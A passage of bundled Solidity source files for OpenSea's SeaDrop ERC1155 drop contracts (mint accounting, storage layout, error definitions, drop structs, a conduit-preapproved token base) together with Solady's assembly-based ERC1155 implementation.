uint64(amount);\n }\n }\n\n /\n @dev Internal function to increment mint counts.\n \n Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n \n @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n /\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropContractOffererStorage.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /\n @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n /\n error PublicDropStageNotPresent();\n\n /\n @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n /\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /\n @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n /\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /\n @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n /\n error MaxSupplyMismatch();\n\n /\n @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n /\n error MintAmountsMismatch();\n\n /\n @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n /\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /\n @dev Revert if the fromTokenId is greater than the toTokenId.\n /\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /\n @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n /\n error PublicDropsMismatch();\n\n /\n @dev An event with updated public drop data.\n /\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n" }, "src/lib/ERC1155SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/\n @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n \n @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n /\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/\n @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n \n Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n \n @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n /\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/\n @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n \n @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n /\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/\n @notice A struct to configure multiple contract options in one transaction.\n /\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n" }, "src/lib/SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/\n @notice A struct defining a creator payout address and basis points.\n \n @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n /\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/\n @notice A struct defining allow list data (for minting an allow list).\n \n @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n /\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n" }, "src/lib/ERC1155ConduitPreapproved.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/\n @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n /\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n" }, "lib/solady/src/tokens/ERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n / CUSTOM ERRORS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* EVENTS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* STORAGE /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* ERC1155 METADATA /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* ERC1155 /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* INTERNAL MINT FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of 